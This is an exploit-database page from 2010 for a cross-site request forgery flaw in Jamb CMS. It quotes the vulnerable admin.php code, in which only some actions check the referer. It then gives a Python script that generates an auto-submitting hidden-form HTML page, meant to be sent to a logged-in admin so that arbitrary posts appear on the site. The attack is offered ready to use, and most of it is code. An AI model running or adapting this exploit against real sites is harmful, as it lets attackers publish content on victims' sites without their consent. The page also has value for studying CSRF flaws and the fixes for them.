Home / os / win7

[webapps / 0day] - Jamb CSRF Arbitrary Add a Post

Posted on 25 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Jamb CSRF Arbitrary Add a Post | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Jamb CSRF Arbitrary Add a Post by Stoke in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================== Jamb CSRF Arbitrary Add a Post ============================== # Jamb CMS CSRF Arbitrary add a post # # Jamb can be downloaded here: http://darkjoker.sytes.net/archives/jamb.zip # # Let&#039;s see the bugged code: # ---- snip from admin.php ----- &quot;&quot;&quot; if ($_GET [&#039;act&#039;] &amp;&amp; is_logged () &amp;&amp; intval ($_GET[&#039;id&#039;]) &amp;&amp; preg_match (&quot;|http://&quot;.$_SERVER[&#039;SERVER_NAME&#039;].dirname($_SERVER[&#039;PHP_SELF&#039;]).&quot;|&quot;,$_SERVER[&#039;HTTP_REFERER&#039;])) { $id=intval ($_GET[&#039;id&#039;]); switch ($_GET[&#039;act&#039;]) { case &#039;del&#039;: $query = &quot;DELETE FROM articles WHERE id = &#039;{$id}&#039;&quot;; mysql_query ($query) or die (&quot;Please edit functions.php!&quot;); $query = &quot;DELETE FROM comments WHERE pid = &#039;{$id}&#039;&quot;; mysql_query ($query); header (&quot;Location: index.php&quot;); die (); break; case &#039;edit&#039;: $newtitle = htmlentities (mysql_real_escape_string ($_POST[&#039;newtitle&#039;])); $newart = mysql_real_escape_string ($_POST[&#039;newart&#039;]); if (!$newtitle || !$newart) { $query = &quot;SELECT * FROM articles WHERE id = &#039;{$id}&#039;&quot;; $res=mysql_query ($query); $row=mysql_fetch_row ($res); if (!$row[0]) die (&quot;Wrong ID&quot;); $row[1]=stripslashes($row[1]); $row[2]=stripslashes ($row[2]); echo &quot;&lt;form action = &#039;admin.php?act=edit&amp;id={$id}&#039; method = &#039;POST&#039;&gt; &quot;. &quot;Title: &lt;input name = &#039;newtitle&#039; value = &#039;{$row[1]}&#039;&gt;&lt;br&gt; &quot;. &quot;&lt;textarea rows=30 cols=100 name=&#039;newart&#039;&gt;{$row[2]}&lt;/textarea&gt;&lt;br&gt; &quot;. &quot;&lt;input type = &#039;submit&#039; value = &#039;Edit&#039;&gt;&lt;br&gt; &quot;. &quot;&lt;/form&gt; &quot;; $a=false; } else { $query = &quot;UPDATE articles SET title=&#039;{$newtitle}&#039;, body=&#039;{$newart}&#039; WHERE id = &#039;{$id}&#039;&quot;; mysql_query ($query); header (&quot;Location: index.php&quot;); die (); } break; case &#039;delc&#039;: $query = &quot;DELETE FROM comments WHERE id = &#039;{$id}&#039;&quot;; mysql_query ($query); header (&quot;Location: index.php&quot;); die (); break; case &#039;editc&#039;: $newuname = htmlentities (mysql_real_escape_string ($_POST[&#039;newuname&#039;])); $newcomm = htmlentities (mysql_real_escape_string ($_POST[&#039;newcomm&#039;])); if (!$newuname || !$newcomm) { $query = &quot;SELECT * FROM comments WHERE id = &#039;{$id}&#039;&quot;; $res = mysql_query ($query); $row = mysql_fetch_row ($res); if (!$row[0]) die (&quot;Wrong ID&quot;); $row[2]=stripslashes ($row[2]); $row[3]=stripslashes ($row[3]); echo &quot;&lt;form action = &#039;admin.php?act=editc&amp;id={$id}&#039; method = &#039;POST&#039;&gt; &quot;. &quot;Author: &lt;input name = &#039;newuname&#039; value = &#039;{$row[2]}&#039;&gt;&lt;br&gt; &quot;. &quot;&lt;textarea rows=10 cols=25 name = &#039;newcomm&#039;&gt;{$row[3]}&lt;/textarea&gt;&lt;br&gt; &quot;. &quot;&lt;input type = &#039;submit&#039; value = &#039;Edit&#039;&gt;&lt;br&gt; &lt;/form&gt; &quot;; $a=false; } else { $query = &quot;UPDATE comments SET author=&#039;{$newuname}&#039;, comment=&#039;{$newcomm}&#039; WHERE id=&#039;{$id}&#039;&quot;; mysql_query ($query); header (&quot;Location: index.php&quot;); die (); } break; default: break; } } if (is_logged () &amp;&amp; $a) { $title = htmlentities (mysql_real_escape_string ($_POST[&#039;title&#039;])); $art = mysql_real_escape_string ($_POST[&#039;data&#039;]); echo $title . &quot; &quot;.$art; if (!$title || !$art) { echo &quot;&lt;form method = &#039;POST&#039;&gt; &quot;. &quot;Title: &lt;input name = &#039;title&#039;&gt;&lt;br&gt; &quot;. &quot;&lt;textarea rows=30 cols=100 name = &#039;data&#039;&gt;&lt;/textarea&gt;&lt;br&gt; &quot;. &quot;&lt;input type = &#039;submit&#039; value = &#039;Send&#039;&gt;&lt;br&gt; &quot;. &quot;&lt;/form&gt; &quot;; } else { $query = &quot;INSERT INTO articles (title,body,date) VALUES (&#039;{$title}&#039;,&#039;{$art}&#039;,&#039;&quot;.time().&quot;&#039;);&quot;; mysql_query ($query); header (&quot;Location: index.php&quot;); die (); } } &quot;&quot;&quot; # ---- end snip ---- # # How you can see, only the &quot;act&quot; part of code has the referer checked, this is useful (for us). # We can exploit this issue by sending a specially .html file to the admin when he/she is logged. # # I write a little script for do this from sys import argv if len(argv) &lt; 4: print &quot;Usage: ./exploit.py &lt;url_with_jamb_dir&gt; &lt;title&gt; &lt;content_of_post&gt;&quot; quit() print &quot;.:[Jamb CMS CSRF Arbitrary add post exploit]:. &quot; url = argv[1] title = argv[2] content = argv[3] print &quot;[+] Preparing the exploit&quot; skeleton = &quot;&quot;&quot; &lt;body onload=&quot;document.getElementById(&#039;1&#039;).submit()&quot;&gt; &lt;form method=&quot;POST&quot; id=&quot;1&quot; action=&quot;%s/admin.php&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;%s&quot;&gt; &lt;input type=&quot;hidden&quot; name=&quot;data&quot; value=&quot;%s&quot;&gt; &lt;/form&gt;&quot;&quot;&quot; % (url, title, content) enc = skeleton print &quot;[+] Writing the exploit&quot; fd = file(&quot;exploit.html&quot;, &quot;w&quot;) fd.write(enc) fd.close() print &quot;[+] Done, check exploit.html&quot; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-25]</pre></body></html>

 

TOP